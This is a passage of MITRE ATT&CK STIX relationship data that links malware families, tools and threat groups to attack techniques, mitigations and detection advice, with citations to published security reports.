Github)\t","modified":"2022-04-18T16:29:39.563Z","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--415f38f8-d490-461a-9a40-968f8cd2bd8b","type":"relationship","created":"2022-03-25T19:14:18.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Ukraine Wipers February 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia","description":"Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."},{"source_name":"ESET Hermetic Wiper February 2022","url":"https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine","description":"ESET. (2022, February 24). HermeticWiper: New data wiping malware hits Ukraine. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.677Z","description":"The [HermeticWiper](https://attack.mitre.org/software/S0697) executable has been signed with a legitimate certificate issued to Hermetica Digital Ltd.(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--415fc129-cac9-4d8c-8285-8ea563489b03","type":"relationship","created":"2020-10-19T16:08:30.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-16T20:15:45.837Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4163071e-ec77-4cb5-a796-ca235636cd2b","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for changes made to scheduled jobs for unexpected modifications to execution launch","source_ref":"x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41634cea-6236-4013-bda3-345bcba4f40f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.336Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--416447f0-410b-46d6-a4f8-e67ba3c9052f","created":"2019-06-05T17:31:22.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"},{"source_name":"TrendMicro BKDR_URSNIF.SM","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.891Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has gathered information about running processes.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro BKDR_URSNIF.SM)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--41664428-398a-4b71-9418-b1bd1e4cefc4","created":"2022-08-02T17:51:17.362Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can hide process windows and make web requests invisible to the compromised user. Requests marked as invisible have been sent with user-agent string `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A` though [QuasarRAT](https://attack.mitre.org/software/S0262) can only be run on Windows systems.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T18:11:47.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--416c98b4-221d-4e2f-aed4-43b844a89ad0","type":"relationship","created":"2020-05-20T19:54:06.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.840Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can detect the victim's file or folder list.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--416d0e7e-ff7a-4cd0-9e2e-7cbb22f4cce8","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments for actions that could be taken to collect files from a system's connected removable media. For example, data may be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.","modified":"2022-04-14T12:59:33.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--416dfc14-ae33-49f7-8084-d35dee036dc1","created":"2024-07-25T20:38:10.800Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:38:10.800Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for stealing credentials from various browsers and applications, including Chrome, Opera, Firefox, Foxmail, QQBrowser, FileZilla, and WinSCP.(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--416fd781-438e-4130-bfac-8ac653e85c2c","type":"relationship","created":"2021-10-14T22:21:20.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-14T22:21:20.893Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has been delivered through spearphishing emails.(Citation: TrendMicro Taidoor)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4170eaf9-9845-4f13-91b2-ff5c9931f365","type":"relationship","created":"2020-11-25T21:00:55.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T21:00:55.971Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has crafted phishing emails containing malicious hyperlinks.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41747c46-1dd1-418b-84e9-75710f17a10c","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to create a reverse shell.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--417552c3-3db4-491a-86bb-7fe2c513d406","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"}],"modified":"2019-06-24T17:20:24.331Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has a function to delete files from the victim’s machine.(Citation: jRAT Symantec Aug 2018)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41760330-2558-4781-bc4e-1e4c7a1f5f92","type":"relationship","created":"2022-02-10T16:42:30.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"modified":"2022-02-10T16:42:30.474Z","description":"(Citation: ESET T3 Threat Report 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--417912a3-95a8-4dd4-a586-88cca62f3ebc","type":"relationship","created":"2020-05-28T16:38:03.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:05.094Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can schedule tasks via the Windows COM API to maintain persistence.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4180422b-a478-4ceb-ac8c-6fe86c85399c","type":"relationship","created":"2020-03-13T21:13:10.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T21:13:10.630Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4183341a-f5ed-4914-9dc5-0eb7c1d6c4e6","type":"relationship","created":"2020-11-06T18:40:38.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T20:06:39.560Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154)'s Beacon payload is capable of capturing screenshots.(Citation: cobaltstrike manual)(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41863df8-b6c3-40df-84bc-3db0ec4f0bc5","created":"2024-01-18T18:41:44.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T18:43:33.865Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can enumerate the IP address on compromised systems.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4189f5b4-4c57-452a-a3fb-da5988804feb","created":"2017-05-31T21:33:27.067Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Loaders","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)","modified":"2022-07-28T18:47:11.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--418bde38-35eb-44bc-a454-ad7d2918bda5","type":"relationship","created":"2019-06-21T15:19:09.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T15:38:54.799Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--419392f5-e6a8-4eee-b7c2-f0bac5cce833","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.839Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can download additional files and tools.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--419745f1-4065-4aad-bf90-ffe198562bd8","created":"2024-05-17T20:36:54.436Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:36:54.436Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used VPNs to connect to victim environments and enable post-exploitation actions.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--419b786c-a7db-4357-918c-aa1b883203ee","type":"relationship","created":"2020-06-10T19:31:48.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.410Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has the ability to use the WinExec API to execute malware on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--419d2655-2c6e-4fbe-ad2d-e2e84aec61e0","created":"2024-05-20T20:24:18.225Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:24:18.225Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used [Winnti for Windows](https://attack.mitre.org/software/S0141) for persistent access to Windows victims.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--419d663c-0fa5-411c-9697-468debf7efc5","type":"relationship","created":"2021-12-27T17:40:56.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"modified":"2021-12-27T17:40:56.748Z","description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has the ability to control an infected PC using RDP.(Citation: Check Point Warzone Feb 2020)","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41aa05fe-fb98-4bfd-856a-05fa71423c9c","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor newly executed processes associated with account creation, such as 